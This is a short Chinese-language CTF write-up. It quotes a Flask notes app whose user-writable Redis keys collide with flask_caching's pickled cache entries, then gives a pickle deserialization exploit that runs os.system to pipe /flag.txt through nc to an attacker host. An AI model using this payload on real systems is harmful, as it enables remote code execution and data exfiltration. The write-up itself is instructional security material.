题目给出了源码
#!/usr/bin/env python3
from flask import Flask
from flask import request, redirect
from flask_caching import Cache
from redis import Redis
import jinja2
import os
app = Flask(__name__)
app.config['CACHE_REDIS_HOST'] = 'localhost'
app.config['DEBUG'] = False
cache = Cache(app, config={'CACHE_TYPE': 'redis'})
redis = Redis('localhost')
jinja_env = jinja2.Environment(autoescape=['html', 'xml'])
@app.route('/', methods=['GET', 'POST'])
def notes_post():
if request.method == 'GET':
return '''
<h4>Post a note</h4>
<form method=POST enctype=multipart/form-data>
<input name=title placeholder=title>
<input type=file name=content placeholder=content>
<input type=submit>
</form>
'''
print(request.form, flush=True)
print(request.files, flush=True)
title = request.form.get('title', default=None)
content = request.files.get('content', default=None)
if title is None or content is None:
return 'Missing fields', 400
content = content.stream.read()
if len(title) > 100 or len(content) > 256:
return 'Too long', 400
redis.setex(name=title, value=content, time=3) # Note will only live for max 30 seconds
return 'Thanks!'
# This caching stuff is cool! Lets make a bunch of cached functions.
@cache.cached(timeout=3)
def _test0():
return 'test'
@app.route('/test0')
def test0():
_test0()
return 'test'
@cache.cached(timeout=3)
def _test1():
return 'test'
@app.route('/test1')
def test1():
_test1()
return 'test'
@cache.cached(timeout=3)
def _test2():
return 'test'
@app.route('/test2')
def test2():
_test2()
return 'test'
@cache.cached(timeout=3)
def _test3():
return 'test'
@app.route('/test3')
def test3():
_test3()
return 'test'
@cache.cached(timeout=3)
def _test4():
return 'test'
@app.route('/test4')
def test4():
_test4()
return 'test'
@cache.cached(timeout=3)
def _test5():
return 'test'
@app.route('/test5')
def test5():
_test5()
return 'test'
@cache.cached(timeout=3)
def _test6():
return 'test'
@app.route('/test6')
def test6():
_test6()
return 'test'
@cache.cached(timeout=3)
def _test7():
return 'test'
@app.route('/test7')
def test7():
_test7()
return 'test'
@cache.cached(timeout=3)
def _test8():
return 'test'
@app.route('/test8')
def test8():
_test8()
return 'test'
@cache.cached(timeout=3)
def _test9():
return 'test'
@app.route('/test9')
def test9():
_test9()
return 'test'
@cache.cached(timeout=3)
def _test10():
return 'test'
@app.route('/test10')
def test10():
_test10()
return 'test'
@cache.cached(timeout=3)
def _test11():
return 'test'
@app.route('/test11')
def test11():
_test11()
return 'test'
@cache.cached(timeout=3)
def _test12():
return 'test'
@app.route('/test12')
def test12():
_test12()
return 'test'
@cache.cached(timeout=3)
def _test13():
return 'test'
@app.route('/test13')
def test13():
_test13()
return 'test'
@cache.cached(timeout=3)
def _test14():
return 'test'
@app.route('/test14')
def test14():
_test14()
return 'test'
@cache.cached(timeout=3)
def _test15():
return 'test'
@app.route('/test15')
def test15():
_test15()
return 'test'
@cache.cached(timeout=3)
def _test16():
return 'test'
@app.route('/test16')
def test16():
_test16()
return 'test'
@cache.cached(timeout=3)
def _test17():
return 'test'
@app.route('/test17')
def test17():
_test17()
return 'test'
@cache.cached(timeout=3)
def _test18():
return 'test'
@app.route('/test18')
def test18():
_test18()
return 'test'
@cache.cached(timeout=3)
def _test19():
return 'test'
@app.route('/test19')
def test19():
_test19()
return 'test'
@cache.cached(timeout=3)
def _test20():
return 'test'
@app.route('/test20')
def test20():
_test20()
return 'test'
@cache.cached(timeout=3)
def _test21():
return 'test'
@app.route('/test21')
def test21():
_test21()
return 'test'
@cache.cached(timeout=3)
def _test22():
return 'test'
@app.route('/test22')
def test22():
_test22()
return 'test'
@cache.cached(timeout=3)
def _test23():
return 'test'
@app.route('/test23')
def test23():
_test23()
return 'test'
@cache.cached(timeout=3)
def _test24():
return 'test'
@app.route('/test24')
def test24():
_test24()
return 'test'
@cache.cached(timeout=3)
def _test25():
return 'test'
@app.route('/test25')
def test25():
_test25()
return 'test'
@cache.cached(timeout=3)
def _test26():
return 'test'
@app.route('/test26')
def test26():
_test26()
return 'test'
@cache.cached(timeout=3)
def _test27():
return 'test'
@app.route('/test27')
def test27():
_test27()
return 'test'
@cache.cached(timeout=3)
def _test28():
return 'test'
@app.route('/test28')
def test28():
_test28()
return 'test'
@cache.cached(timeout=3)
def _test29():
return 'test'
@app.route('/test29')
def test29():
_test29()
return 'test'
@cache.cached(timeout=3)
def _test30():
return 'test'
@app.route('/test30')
def test30():
_test30()
return 'test'
if __name__ == "__main__":
app.run('0.0.0.0', 5000)
我们可以在redis中以键值存储任意数据
关键这里python还用Cache在redis中缓存了函数
。用python动态调试发现。会解析当前访问的路由
然后获取源码中定义的前缀
flask_cache_拼接
最终变成flask_cache_view//test0
以这个为key。然后值是pickle反序列化的内容
如果返回值是!开头。然后就会用pickle.loads。解析redis中的值
所以。直接pickle一个exp。然后以flask_cache_view//test0存入。刷行就行了
import pickle
class Malicious:
def __reduce__(self):
return (os.system, ('cat /flag.txt | nc MYIPADDRESS 4444',))
malicious_function = Malicious()
payload = pickle.dumps(malicious_function)
f = open('payload', 'wb')
f.write(b'!' + payload)
f.close()